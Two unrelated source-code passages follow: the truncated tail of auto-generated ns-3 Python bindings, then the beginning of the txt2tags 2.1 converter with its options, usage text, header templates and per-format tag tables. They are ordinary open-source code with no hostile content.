cls.add_method('TraceDisconnectWithoutContext', 'bool', [param('std::string', 'name'), param('ns3::CallbackBase const &', 'cb')]) ## object-base.h (module 'core'): void ns3::ObjectBase::ConstructSelf(ns3::AttributeConstructionList const & attributes) [member function] cls.add_method('ConstructSelf', 'void', [param('ns3::AttributeConstructionList const &', 'attributes')], visibility='protected') ## object-base.h (module 'core'): void ns3::ObjectBase::NotifyConstructionCompleted() [member function] cls.add_method('NotifyConstructionCompleted', 'void', [], visibility='protected', is_virtual=True) return def register_Ns3ObjectDeleter_methods(root_module, cls): ## object.h (module 'core'): ns3::ObjectDeleter::ObjectDeleter() [constructor] cls.add_constructor([]) ## object.h (module 'core'): ns3::ObjectDeleter::ObjectDeleter(ns3::ObjectDeleter const & arg0) [copy constructor] cls.add_constructor([param('ns3::ObjectDeleter const &', 'arg0')]) ## object.h (module 'core'): static void ns3::ObjectDeleter::Delete(ns3::Object * object) [member function] cls.add_method('Delete', 'void', [param('ns3::Object *', 'object')], is_static=True) return def register_Ns3ObjectFactory_methods(root_module, cls): cls.add_output_stream_operator() ## object-factory.h (module 'core'): ns3::ObjectFactory::ObjectFactory(ns3::ObjectFactory const & arg0) [copy constructor] cls.add_constructor([param('ns3::ObjectFactory const &', 'arg0')]) ## object-factory.h (module 'core'): ns3::ObjectFactory::ObjectFactory() [constructor] cls.add_constructor([]) ## object-factory.h (module 'core'): ns3::ObjectFactory::ObjectFactory(std::string typeId) [constructor] cls.add_constructor([param('std::string', 'typeId')]) ## object-factory.h (module 'core'): ns3::Ptr<ns3::Object> ns3::ObjectFactory::Create() const [member function] cls.add_method('Create', 'ns3::Ptr< ns3::Object >', [], is_const=True) ## object-factory.h (module 'core'): ns3::TypeId ns3::ObjectFactory::GetTypeId() const [member function] cls.add_method('GetTypeId', 'ns3::TypeId', [], is_const=True) ## object-factory.h (module 'core'): void ns3::ObjectFactory::Set(std::string name, ns3::AttributeValue const & value) [member function] cls.add_method('Set', 'void', [param('std::string', 'name'), param('ns3::AttributeValue const &', 'value')]) ## object-factory.h (module 'core'): void ns3::ObjectFactory::SetTypeId(ns3::TypeId tid) [member function] cls.add_method('SetTypeId', 'void', [param('ns3::TypeId', 'tid')]) ## object-factory.h (module 'core'): void ns3::ObjectFactory::SetTypeId(char const * tid) [member function] cls.add_method('SetTypeId', 'void', [param('char const *', 'tid')]) ## object-factory.h (module 'core'): void ns3::ObjectFactory::SetTypeId(std::string tid) [member function] cls.add_method('SetTypeId', 'void', [param('std::string', 'tid')]) return def register_Ns3PacketMetadata_methods(root_module, cls): ## packet-metadata.h (module 'network'): ns3::PacketMetadata::PacketMetadata(uint64_t uid, uint32_t size) [constructor] cls.add_constructor([param('uint64_t', 'uid'), param('uint32_t', 'size')]) ## packet-metadata.h (module 'network'): ns3::PacketMetadata::PacketMetadata(ns3::PacketMetadata const & o) [copy constructor] cls.add_constructor([param('ns3::PacketMetadata const &', 'o')]) ## packet-metadata.h (module 'network'): void ns3::PacketMetadata::AddAtEnd(ns3::PacketMetadata const & o) [member function] cls.add_method('AddAtEnd', 'void', [param('ns3::PacketMetadata const &', 'o')]) ## packet-metadata.h (module 'network'): void ns3::PacketMetadata::AddHeader(ns3::Header const & header, uint32_t size) [member function] cls.add_method('AddHeader', 'void', [param('ns3::Header const &', 'header'), param('uint32_t', 'size')]) ## packet-metadata.h (module 'network'): void ns3::PacketMetadata::AddPaddingAtEnd(uint32_t end) [member function] cls.add_method('AddPaddingAtEnd', 'void', [param('uint32_t', 'end')]) ## packet-metadata.h (module 'network'): void ns3::PacketMetadata::AddTrailer(ns3::Trailer const & trailer, uint32_t size) [member function] cls.add_method('AddTrailer', 'void', [param('ns3::Trailer const &', 'trailer'), param('uint32_t', 'size')]) ## packet-metadata.h (module 'network'): ns3::PacketMetadata::ItemIterator ns3::PacketMetadata::BeginItem(ns3::Buffer buffer) const [member function] cls.add_method('BeginItem', 'ns3::PacketMetadata::ItemIterator', [param('ns3::Buffer', 'buffer')], is_const=True) ## packet-metadata.h (module 'network'): ns3::PacketMetadata ns3::PacketMetadata::CreateFragment(uint32_t start, uint32_t end) const [member function] cls.add_method('CreateFragment', 'ns3::PacketMetadata', [param('uint32_t', 'start'), param('uint32_t', 'end')], is_const=True) ## packet-metadata.h (module 'network'): uint32_t ns3::PacketMetadata::Deserialize(uint8_t const * buffer, uint32_t size) [member function] cls.add_method('Deserialize', 'uint32_t', [param('uint8_t const *', 'buffer'), param('uint32_t', 'size')]) ## packet-metadata.h (module 'network'): static void ns3::PacketMetadata::Enable() [member function] cls.add_method('Enable', 'void', [], is_static=True) ## packet-metadata.h (module 'network'): static void ns3::PacketMetadata::EnableChecking() [member function] cls.add_method('EnableChecking', 'void', [], is_static=True) ## packet-metadata.h (module 'network'): uint32_t ns3::PacketMetadata::GetSerializedSize() const [member function] cls.add_method('GetSerializedSize', 'uint32_t', [], is_const=True) ## packet-metadata.h (module 'network'): uint64_t ns3::PacketMetadata::GetUid() const [member function] cls.add_method('GetUid', 'uint64_t',
codeparrot/github-code-clean
#!/usr/bin/env python # txt2tags - generic text conversion tool # http://txt2tags.sf.net # # Copyright 2001, 2002, 2003, 2004 Aurelio Marinho Jargas # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, version 2. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You have received a copy of the GNU General Public License along # with this program, on the COPYING file. # # # # +-------------------------------------------------------------+ # | IMPORTANT MESSAGES, PLEASE READ | # +-------------------------------------------------------------+ # | | # | | # | v1.x COMPATIBILITY | # | ------------------ | # | | # | Due the major syntax changes, the new 2.x series | # | BREAKS backwards compatibility. | # | | # | Use the 't2tconv' script to upgrade your existing | # | v1.x files to conform the new v2.x syntax. | # | | # | Do a visual inspection on the new converted file. | # | Specially Pre & Post proc filters can break. | # | Check them! | # | | # | | # +-------------------------------------------------------------+ # # ######################################################################## # # BORING CODE EXPLANATION AHEAD # # Just read if you wish to understand how the txt2tags code works # ######################################################################## # # Version 2.0 was a complete rewrite for the program 'core'. # # Now the code that [1] parses the marked text is separated from the # code that [2] insert the target tags. # # [1] made by: def convert() # [2] made by: class BlockMaster # # The structures of the marked text are identifyed and its contents are # extracted into a data holder (Python lists and dictionaries). # # When parsing the source file, the blocks (para, lists, quote, table) # are opened with BlockMaster, right when found. Then its contents, # which spans on several lines, are feeded into a special holder on the # BlockMaster instance. Just when the block is closed, the target tags # are inserted for the full block as a whole, in one pass. This way, we # have a better control on blocks. Much better than the previous line by # line approach. # # In other words, whenever inside a block, the parser *holds* the tag # insertion process, waiting until the full block is readed. That was # needed primary to close paragraphs for the new XHTML target, but # proved to be a very good adding, improving many other processings. # # ------------------------------------------------------------------- # # There is also a brand new code for the Configuration schema, 100% # rewritten. There are new classes, all self documented: CommandLine, # SourceDocument, ConfigMaster and ConfigLines. In short, a new RAW # Config format was created, and all kind of configuration is first # converted to this format, and then a generic method parses it. # # The init processing was changed also, and now the functions which # gets informations about the input files are: get_infiles_config(), # process_source_file() and convert_this_files() # # Other parts are untouched, and remains the same as in v1.7, as the # marks regexes, target Headers and target Tags&Rules. # ######################################################################## # Now I think the code is nice, easier to read and understand #XXX Python coding warning # Avoid common mistakes: # - do NOT use newlist=list instead newlist=list[:] # - do NOT use newdic=dic instead newdic=dic.copy() # - do NOT use dic[key] instead dic.get(key) # - do NOT use del dic[key] without has_key() before #XXX Smart Image Align don't work if the image is a link # Can't fix that because the image is expanded together with the # link, at the linkbank filling moment. Only the image is passed # to parse_images(), not the full line, so it is always 'middle'. #XXX Paragraph separation not valid inside Quote # Quote will not have <p></p> inside, instead will close and open # again the <blockquote>. This really sux in CSS, when defining a # diferent background color. Still don't know how to fix it. #XXX TODO (maybe) # New mark or macro which expands to an anchor full title. # It is necessary to parse the full document in this order: # DONE 1st scan: HEAD: get all settings, including %!includeconf # DONE 2nd scan: BODY: expand includes & apply %!preproc # 3rd scan: BODY: read titles and compose TOC info # 4th scan: BODY: full parsing, expanding [#anchor] 1st # Steps 2 and 3 can be made together, with no tag adding. # Two complete body scans will be *slow*, don't know if it worths. ############################################################################## # User config (1=ON, 0=OFF) USE_I18N = 1 # use gettext for i18ned messages? (default is 1) COLOR_DEBUG = 1 # show debug messages in colors? (default is 1) HTML_LOWER = 0 # use lowercased HTML tags instead upper? (default is 0) ############################################################################## # these are all the core Python modules used by txt2tags (KISS!) import re, string, os, sys, time, getopt # program information my_url = 'http://txt2tags.sf.net' my_name = 'txt2tags' my_email = 'verde@aurelio.net' my_version = '2.1' # i18n - just use if available if USE_I18N: try: import gettext # if your locale dir is different, change it here cat = gettext.Catalog('txt2tags',localedir='/usr/share/locale/') _ = cat.gettext except: _ = lambda x:x else: _ = lambda x:x # FLAGS : the conversion related flags , may be used in %!options # OPTIONS : the conversion related options, may be used in %!options # ACTIONS : the other behaviour modifiers, valid on command line only # MACROS : the valid macros with their default values for formatting # SETTINGS: global miscelaneous settings, valid on RC file only # CONFIG_KEYWORDS: the valid %!key:val keywords # # FLAGS and OPTIONS are configs that affect the converted document. # They usually have also a --no-<option> to turn them OFF. # ACTIONS are needed because when doing multiple input files, strange # behaviour would be found, as use command line interface for the # first file and gui for the second. There is no --no-<action>. # --version and --help inside %!options are also odd # TARGETS = ['html', 'xhtml', 'sgml', 'tex', 'man', 'mgp', 'moin', 'pm6', 'txt'] FLAGS = {'headers' :1 , 'enum-title' :0 , 'mask-email' :0 , 'toc-only' :0 , 'toc' :0 , 'rc' :1 , 'css-sugar' :0 , 'css-suggar' :0 , 'quiet' :0 } OPTIONS = {'target' :'', 'toc-level' :3 , 'style' :'', 'infile' :'', 'outfile' :'', 'encoding' :'', 'split' :0 , 'lang' :''} ACTIONS = {'help' :0 , 'version' :0 , 'gui' :0 , 'verbose' :0 , 'debug' :0 , 'dump-config':0 } MACROS = {'date' : '%Y%m%d', 'infile': '%f', 'mtime': '%Y%m%d', 'outfile': '%f'} SETTINGS = {} # for future use CONFIG_KEYWORDS = [ 'target', 'encoding', 'style', 'options', 'preproc','postproc', 'guicolors'] TARGET_NAMES = { 'html' : _('HTML page'), 'xhtml': _('XHTML page'), 'sgml' : _('SGML document'), 'tex' : _('LaTeX document'), 'man' : _('UNIX Manual page'), 'mgp' : _('Magic Point presentation'), 'moin' : _('MoinMoin page'), 'pm6' : _('PageMaker 6.0 document'), 'txt' : _('Plain Text'), } DEBUG = 0 # do not edit here, please use --debug VERBOSE = 0 # do not edit here, please use -v, -vv or -vvv QUIET = 0 # do not edit here, please use --quiet GUI = 0 AUTOTOC = 1 RC_RAW = [] CMDLINE_RAW = [] CONF = {} BLOCK = None regex = {} TAGS = {} rules = {} lang = 'english' TARGET = '' STDIN = STDOUT = '-' ESCCHAR = '\x00' SEPARATOR = '\x01' LISTNAMES = {'-':'list', '+':'numlist', ':':'deflist'} LINEBREAK = {'default':'\n', 'win':'\r\n', 'mac':'\r'} RCFILE = {'default':'.txt2tagsrc', 'win':'_t2trc'} # plataform specific settings LB = LINEBREAK.get(sys.platform[:3]) or LINEBREAK['default'] RC = RCFILE.get(sys.platform[:3]) or RCFILE['default'] # identify a development version #dev_suffix = '-dev'+time.strftime('%m%d',time.localtime(time.time())) #my_version = my_version + dev_suffix VERSIONSTR = _("%s version %s <%s>")%(my_name,my_version,my_url) USAGE = string.join([ '', _("Usage: %s [OPTIONS] [infile.t2t ...]") % my_name, '', _(" -t, --target set target document type. currently supported:"), ' %s' % re.sub(r"[]'[]",'',repr(TARGETS)), _(" -i, --infile=FILE set FILE as the input file name ('-' for STDIN)"), _(" -o, --outfile=FILE set FILE as the output file name ('-' for STDOUT)"), _(" -n, --enum-title enumerate all title lines as 1, 1.1, 1.1.1, etc"), _(" -H, --no-headers suppress header, title and footer contents"), _(" --headers show header, title and footer contents (default ON)"), _(" --encoding set target file encoding (utf-8, iso-8859-1, etc)"), _(" --style=FILE use FILE as the document style (like HTML CSS)"), _(" --css-sugar insert CSS-friendly tags for HTML and XHTML targets"), _(" --mask-email hide email from spam robots. x@y.z turns <x (a) y z>"), _(" --toc add TOC (Table of Contents) to target document"), _(" --toc-only print document TOC and exit"), _(" --toc-level=N set maximum TOC level (depth) to N"), _(" --rc read user config file ~/.txt2tagsrc (default ON)"), _(" --gui invoke Graphical Tk Interface"), _(" -q, --quiet quiet mode, suppress all output (except errors)"), _(" -v, --verbose print informative messages during conversion"), _(" -h, --help print this help information and exit"), _(" -V, --version print program version and exit"), _(" --dump-config print all the config found and exit"), '', _("Turn OFF options:"), " --no-outfile, --no-infile, --no-style, --no-encoding, --no-headers", " --no-toc, --no-toc-only, --no-mask-email, --no-enum-title, --no-rc", " --no-css-sugar, --no-quiet", '', _("Example:\n %s -t html --toc myfile.t2t") % my_name, '', _("By default, converted output is saved to 'infile.<target>'."), _("Use --outfile to force an output file name."), _("If input file is '-', reads from STDIN."), _("If output file is '-', dumps output to STDOUT."), '' ], '\n') ############################################################################## # here is all the target's templates # you may edit them to fit your needs # - the %(HEADERn)s strings represent the Header lines # - the %(STYLE)s string is changed by --style contents # - the %(ENCODING)s string is changed by --encoding contents # - if any of the above is empty, the full line is removed # - use %% to represent a literal % # HEADER_TEMPLATE = { 'txt': """\ %(HEADER1)s %(HEADER2)s %(HEADER3)s """, 'sgml': """\ <!doctype linuxdoc system> <article> <title>%(HEADER1)s <author>%(HEADER2)s <date>%(HEADER3)s """, 'html': """\ <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <META NAME="generator" CONTENT="http://txt2tags.sf.net"> <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=%(ENCODING)s"> <LINK REL="stylesheet" TYPE="text/css" HREF="%(STYLE)s"> <TITLE>%(HEADER1)s</TITLE> </HEAD><BODY BGCOLOR="white" TEXT="black"> <P ALIGN="center"><CENTER><H1>%(HEADER1)s</H1> <FONT SIZE="4"> <I>%(HEADER2)s</I><BR> %(HEADER3)s </FONT></CENTER> """, 'htmlcss': """\ <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <META NAME="generator" CONTENT="http://txt2tags.sf.net"> <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=%(ENCODING)s"> <LINK REL="stylesheet" TYPE="text/css" HREF="%(STYLE)s"> <TITLE>%(HEADER1)s</TITLE> </HEAD> <BODY> <DIV CLASS="header" ID="header"> <H1>%(HEADER1)s</H1> <H2>%(HEADER2)s</H2> <H3>%(HEADER3)s</H3> </DIV> """, 'xhtml': """\ <?xml version="1.0"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"\ "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>%(HEADER1)s</title> <meta name="generator" content="http://txt2tags.sf.net" /> <meta http-equiv="Content-Type" content="text/html; charset=%(ENCODING)s" /> <link rel="stylesheet" type="text/css" href="%(STYLE)s" /> </head> <body bgcolor="white" text="black"> <div align="center"> <h1>%(HEADER1)s</h1> <h2>%(HEADER2)s</h2> <h3>%(HEADER3)s</h3> </div> """, 'xhtmlcss': """\ <?xml version="1.0"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"\ "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>%(HEADER1)s</title> <meta name="generator" content="http://txt2tags.sf.net" /> <meta http-equiv="Content-Type" content="text/html; charset=%(ENCODING)s" /> <link rel="stylesheet" type="text/css" href="%(STYLE)s" /> </head> <body> <div class="header" id="header"> <h1>%(HEADER1)s</h1> <h2>%(HEADER2)s</h2> <h3>%(HEADER3)s</h3> </div> """, 'man': """\ .TH "%(HEADER1)s" 1 "%(HEADER3)s" "%(HEADER2)s" """, # TODO style to <HR> 'pm6': """\ <PMTags1.0 win><C-COLORTABLE ("Preto" 1 0 0 0) ><@Normal= <FONT "Times New Roman"><CCOLOR "Preto"><SIZE 11> <HORIZONTAL 100><LETTERSPACE 0><CTRACK 127><CSSIZE 70><C+SIZE 58.3> <C-POSITION 33.3><C+POSITION 33.3><P><CBASELINE 0><CNOBREAK 0><CLEADING -0.05> <GGRID 0><GLEFT 7.2><GRIGHT 0><GFIRST 0><G+BEFORE 7.2><G+AFTER 0> <GALIGNMENT "justify"><GMETHOD "proportional"><G& "ENGLISH"> <GPAIRS 12><G%% 120><GKNEXT 0><GKWIDOW 0><GKORPHAN 0><GTABS $> <GHYPHENATION 2 34 0><GWORDSPACE 75 100 150><GSPACE -5 0 25> ><@Bullet=<@-PARENT "Normal"><FONT "Abadi MT Condensed Light"> <GLEFT 14.4><G+BEFORE 2.15><G%% 110><GTABS(25.2 l "")> ><@PreFormat=<@-PARENT "Normal"><FONT "Lucida Console"><SIZE 8><CTRACK 0> <GLEFT 0><G+BEFORE 0><GALIGNMENT "left"><GWORDSPACE 100 100 100><GSPACE 0 0 0> ><@Title1=<@-PARENT "Normal"><FONT "Arial"><SIZE 14><B> <GCONTENTS><GLEFT 0><G+BEFORE 0><GALIGNMENT "left"> ><@Title2=<@-PARENT "Title1"><SIZE 12><G+BEFORE 3.6> ><@Title3=<@-PARENT "Title1"><SIZE 10><GLEFT 7.2><G+BEFORE 7.2> ><@Title4=<@-PARENT "Title3"> ><@Title5=<@-PARENT "Title3"> ><@Quote=<@-PARENT "Normal"><SIZE 10><I>> %(HEADER1)s %(HEADER2)s %(HEADER3)s """, 'mgp': """\ #!/usr/X11R6/bin/mgp -t 90 %%deffont "normal" xfont "utopia-medium-r", charset "iso8859-1" %%deffont "normal-i" xfont "utopia-medium-i", charset "iso8859-1" %%deffont "normal-b" xfont "utopia-bold-r" , charset "iso8859-1" %%deffont "normal-bi" xfont "utopia-bold-i" , charset "iso8859-1" %%deffont "mono" xfont "courier-medium-r", charset "iso8859-1" %%default 1 size 5 %%default 2 size 8, fore "yellow", font "normal-b", center %%default 3 size 5, fore "white", font "normal", left, prefix " " %%tab 1 size 4, vgap 30, prefix " ", icon arc "red" 40, leftfill %%tab 2 prefix " ", icon arc "orange" 40, leftfill %%tab 3 prefix " ", icon arc "brown" 40, leftfill %%tab 4 prefix " ", icon arc "darkmagenta" 40, leftfill %%tab 5 prefix " ", icon arc "magenta" 40, leftfill %%%%------------------------- end of headers ----------------------------- %%page %%size 10, center, fore "yellow" %(HEADER1)s %%font "normal-i", size 6, fore "white", center %(HEADER2)s %%font "mono", size 7, center %(HEADER3)s """, # TODO please, improve me! 'moin': """\ '''%(HEADER1)s''' ''%(HEADER2)s'' %(HEADER3)s """, 'tex': \ r"""\documentclass[11pt,a4paper]{article} \usepackage{amsfonts,graphicx,url} \usepackage[%(ENCODING)s]{inputenc} %% char encoding \usepackage{%(STYLE)s} %% user defined package \pagestyle{plain} %% do page numbering ('empty' turns off) \frenchspacing %% no aditional spaces after periods \setlength{\parskip}{8pt}\parindent=0pt %% no paragraph indentation %% uncomment next line for fancy PDF output on Adobe Acrobat Reader %%\usepackage[pdfstartview=FitV,colorlinks=true,bookmarks=true]{hyperref} \title{%(HEADER1)s} \author{%(HEADER2)s} \begin{document} \date{%(HEADER3)s} \maketitle \clearpage """ } ############################################################################## def getTags(config): "Returns all the known tags for the specified target" keys = [ 'paragraphOpen','paragraphClose', 'title1','title2','title3','title4','title5', 'numtitle1','numtitle2','numtitle3','numtitle4','numtitle5', 'blockVerbOpen','blockVerbClose', 'blockQuoteOpen','blockQuoteClose','blockQuoteLine', 'fontMonoOpen','fontMonoClose', 'fontBoldOpen','fontBoldClose', 'fontItalicOpen','fontItalicClose', 'fontUnderlineOpen','fontUnderlineClose', 'listOpen','listClose', 'listItemOpen','listItemClose','listItemLine', 'numlistOpen','numlistClose', 'numlistItemOpen','numlistItemClose','numlistItemLine', 'deflistOpen','deflistClose', 'deflistItem1Open','deflistItem1Close', 'deflistItem2Open','deflistItem2Close', 'bar1','bar2', 'url','urlMark','email','emailMark', 'img', 'tableOpen','tableClose', 'tableRowOpen','tableRowClose','tableRowSep', 'tableCellOpen','tableCellClose','tableCellSep', 'tableTitleCellOpen','tableTitleCellClose','tableTitleCellSep', 'tableTitleRowOpen','tableTitleRowClose', 'tableBorder', 'tableAlignLeft', 'tableAlignCenter', 'tableCellAlignLeft','tableCellAlignRight','tableCellAlignCenter', 'tableColAlignLeft','tableColAlignRight','tableColAlignCenter', 'tableColAlignSep', 'anchor','comment','pageBreak', 'TOC','tocOpen','tocClose', 'bodyOpen','bodyClose', 'EOD' ] alltags = { 'txt': { 'title1' : ' \a' , 'title2' : '\t\a' , 'title3' : '\t\t\a' , 'title4' : '\t\t\t\a' , 'title5' : '\t\t\t\t\a', 'blockQuoteLine' : '\t' , 'listItemOpen' : '- ' , 'numlistItemOpen' : '\a. ' , 'bar1' : '\a' , 'bar2' : '\a' , 'url' : '\a' , 'urlMark' : '\a (\a)' , 'email' : '\a' , 'emailMark' : '\a (\a)' , 'img' : '[\a]' , }, 'html': { 'paragraphOpen' : '<P>' , 'paragraphClose' : '</P>' , 'title1' : '~A~<H1>\a</H1>' , 'title2' : '~A~<H2>\a</H2>' , 'title3' : '~A~<H3>\a</H3>' , 'title4' : '~A~<H4>\a</H4>' , 'title5' : '~A~<H5>\a</H5>' , 'blockVerbOpen' : '<PRE>' , 'blockVerbClose' : '</PRE>' , 'blockQuoteOpen' : '<BLOCKQUOTE>' , 'blockQuoteClose' : '</BLOCKQUOTE>' , 'fontMonoOpen' : '<CODE>' , 'fontMonoClose' : '</CODE>' , 'fontBoldOpen' : '<B>' , 'fontBoldClose' : '</B>' , 'fontItalicOpen' : '<I>' , 'fontItalicClose' : '</I>' , 'fontUnderlineOpen' : '<U>' , 'fontUnderlineClose' : '</U>' , 'listOpen' : '<UL>' , 'listClose' : '</UL>' , 'listItemOpen' : '<LI>' , 'numlistOpen' : '<OL>' , 'numlistClose' : '</OL>' , 'numlistItemOpen' : '<LI>' , 'deflistOpen' : '<DL>' , 'deflistClose' : '</DL>' , 'deflistItem1Open' : '<DT>' , 'deflistItem1Close' : '</DT>' , 'deflistItem2Open' : '<DD>' , 'bar1' : '<HR NOSHADE SIZE=1>' , 'bar2' : '<HR NOSHADE SIZE=5>' , 'url' : '<A HREF="\a">\a</A>' , 'urlMark' : '<A HREF="\a">\a</A>' , 'email' : '<A HREF="mailto:\a">\a</A>' , 'emailMark' : '<A HREF="mailto:\a">\a</A>' , 'img' :'<IMG ALIGN="~A~" SRC="\a" BORDER="0" ALT="">', 'tableOpen' : '<TABLE~A~ CELLPADDING="4"~B~>', 'tableClose' : '</TABLE>' , 'tableRowOpen' : '<TR>' , 'tableRowClose' : '</TR>' , 'tableCellOpen' : '<TD\a>' , 'tableCellClose' : '</TD>' , 'tableTitleCellOpen' : '<TH>' , 'tableTitleCellClose' : '</TH>' , 'tableBorder' : ' BORDER="1"' , 'tableAlignCenter' : ' ALIGN="center"', 'tableCellAlignRight' : ' ALIGN="right"' , 'tableCellAlignCenter': ' ALIGN="center"', 'anchor' : '<A NAME="\a"></A>\n', 'comment' : '<!-- \a -->' , 'EOD' : '</BODY></HTML>' }, #TIP xhtml inherits all HTML definitions (lowercased) #TIP http://www.w3.org/TR/xhtml1/#guidelines #TIP http://www.htmlref.com/samples/Chapt17/17_08.htm 'xhtml': { 'listItemClose' : '</li>' , 'numlistItemClose' : '</li>' , 'deflistItem2Close' : '</dd>' , 'bar1' : '<hr class="light" />', 'bar2' : '<hr class="heavy" />', 'anchor' : '<a id="\a" name="\a"></a>\n', 'img' :'<img align="~A~" src="\a" border="0" alt=""/>', }, 'sgml': { 'paragraphOpen' : '<p>' , 'title1' : '<sect>\a~A~<p>' , 'title2' : '<sect1>\a~A~<p>' , 'title3' : '<sect2>\a~A~<p>' , 'title4' : '<sect3>\a~A~<p>' , 'title5' : '<sect4>\a~A~<p>' , 'blockVerbOpen' : '<tscreen><verb>' , 'blockVerbClose' : '</verb></tscreen>' , 'blockQuoteOpen' : '<quote>' , 'blockQuoteClose' : '</quote>' , 'fontMonoOpen' : '<tt>' , 'fontMonoClose' : '</tt>' , 'fontBoldOpen' : '<bf>' , 'fontBoldClose' : '</bf>' , 'fontItalicOpen' : '<em>' , 'fontItalicClose' : '</em>' , 'fontUnderlineOpen' : '<bf><em>' , 'fontUnderlineClose' : '</em></bf>' , 'listOpen' : '<itemize>' , 'listClose' : '</itemize>' , 'listItemOpen' : '<item>' , 'numlistOpen' : '<enum>' , 'numlistClose' : '</enum>' , 'numlistItemOpen' : '<item>' , 'deflistOpen' : '<descrip>' , 'deflistClose' : '</descrip>' , 'deflistItem1Open' : '<tag>' , 'deflistItem1Close' : '</tag>' , 'bar1' : '<!-- \a -->' , 'bar2' : '<!-- \a -->' , 'url' : '<htmlurl url="\a" name="\a">' , 'urlMark' : '<htmlurl url="\a" name="\a">' , 'email' : '<htmlurl url="mailto:\a" name="\a">' , 'emailMark' : '<htmlurl url="mailto:\a" name="\a">' , 'img' : '<figure><ph vspace=""><img src="\a">'+\ '</figure>' , 'tableOpen' : '<table><tabular ca="~C~">' , 'tableClose' : '</tabular></table>' , 'tableRowSep' : '<rowsep>' , 'tableCellSep' : '<colsep>' , 'tableColAlignLeft' : 'l' , 'tableColAlignRight' : 'r' , 'tableColAlignCenter' : 'c' , 'comment' : '<!-- \a -->' , 'anchor' : '<label id="\a">' , 'TOC' : '<toc>' , 'EOD' : '</article>' }, 'tex': { 'title1' : '\n\section*{\a}', 'title2' : '\\subsection*{\a}' , 'title3' : '\\subsubsection*{\a}' , # title 4/5: DIRTY: para+BF+\\+\n 'title4' : '\\paragraph{}\\textbf{\a}\\\\\n', 'title5' : '\\paragraph{}\\textbf{\a}\\\\\n', 'numtitle1' : '\n\section{\a}', 'numtitle2' : '\\subsection{\a}' , 'numtitle3' : '\\subsubsection{\a}' , 'blockVerbOpen' : '\\begin{verbatim}' , 'blockVerbClose' : '\\end{verbatim}' , 'blockQuoteOpen' : '\\begin{quotation}' , 'blockQuoteClose' : '\\end{quotation}' , 'fontMonoOpen' : '\\texttt{' , 'fontMonoClose' : '}' , 'fontBoldOpen' : '\\textbf{' , 'fontBoldClose' : '}' , 'fontItalicOpen' : '\\textit{' , 'fontItalicClose' : '}' , 'fontUnderlineOpen' : '\\underline{' , 'fontUnderlineClose' : '}' , 'listOpen' : '\\begin{itemize}' , 'listClose' : '\\end{itemize}' , 'listItemOpen' : '\\item ' , 'numlistOpen' : '\\begin{enumerate}' , 'numlistClose' : '\\end{enumerate}' , 'numlistItemOpen' : '\\item ' , 'deflistOpen' : '\\begin{description}', 'deflistClose' : '\\end{description}' , 'deflistItem1Open' : '\\item[' , 'deflistItem1Close' : ']' , 'bar1' : '\n\\hrulefill{}\n' , 'bar2' : '\n\\rule{\linewidth}{1mm}\n', 'url' : '\\url{\a}' , 'urlMark' : '\\textit{\a} (\\url{\a})' , 'email' : '\\url{\a}' , 'emailMark' : '\\textit{\a} (\\url{\a})' , 'img' : '\\includegraphics{\a}', 'tableOpen' : '\\begin{center}\\begin{tabular}{|~C~|}', 'tableClose' : '\\end{tabular}\\end{center}', 'tableRowOpen' : '\\hline ' , 'tableRowClose' : ' \\\\' , 'tableCellSep' : ' & ' , 'tableColAlignLeft' : 'l' , 'tableColAlignRight' : 'r' , 'tableColAlignCenter' : 'c' , 'tableColAlignSep' : '|' , 'comment' : '% \a' , 'TOC' : '\\tableofcontents', 'pageBreak' : '\\clearpage', 'EOD' : '\\end{document}' }, 'moin': { 'title1' : '= \a =' , 'title2' : '== \a ==' , 'title3' : '=== \a ===' , 'title4' : '==== \a ====' , 'title5' : '===== \a =====', 'blockVerbOpen' : '{{{' , 'blockVerbClose' : '}}}' , 'blockQuoteLine' : ' ' , 'fontMonoOpen' : '{{{' , 'fontMonoClose' : '}}}' , 'fontBoldOpen' : "'''" , 'fontBoldClose' : "'''" , 'fontItalicOpen' : "''" , 'fontItalicClose' : "''" , 'fontUnderlineOpen' : "__" , 'fontUnderlineClose' : "__" , 'listItemOpen' : ' * ' , 'numlistItemOpen' : ' \a. ' , 'bar1' : '----' , 'bar2' : '----' , 'url' : '[\a]' , 'urlMark' : '[\a \a]' , 'email' : '[\a]' , 'emailMark' : '[\a \a]' , 'img' : '[\a]' , 'tableRowOpen' : '||' , 'tableCellOpen' : '\a' , 'tableCellClose' : '||' , 'tableTitleCellClose' : '||' , 'tableCellAlignRight' : '<)>' , 'tableCellAlignCenter': '<:>' , 'comment' : '## \a' , 'TOC' : '[[TableOfContents]]' }, 'mgp': { 'paragraphOpen' : '%font "normal", size 5' , 'title1' : '%page\n\n\a\n' , 'title2' : '%page\n\n\a\n' , 'title3' : '%page\n\n\a\n' , 'title4' : '%page\n\n\a\n' , 'title5' : '%page\n\n\a\n' , 'blockVerbOpen' : '%font "mono"' , 'blockVerbClose' : '%font "normal"' , 'blockQuoteOpen' : '%prefix " "' , 'blockQuoteClose' : '%prefix " "' , 'fontMonoOpen' : '\n%cont, font "mono"\n' , 'fontMonoClose' : '\n%cont, font "normal"\n' , 'fontBoldOpen' : '\n%cont, font "normal-b"\n' , 'fontBoldClose' : '\n%cont, font "normal"\n' , 'fontItalicOpen' : '\n%cont, font "normal-i"\n' , 'fontItalicClose' : '\n%cont, font "normal"\n' , 'fontUnderlineOpen' : '\n%cont, fore "cyan"\n' , 'fontUnderlineClose' : '\n%cont, fore "white"\n' , 'listItemLine' : '\t' , 'numlistItemLine' : '\t' , 'deflistItem1Open' : '\t\n%cont, font "normal-b"\n', 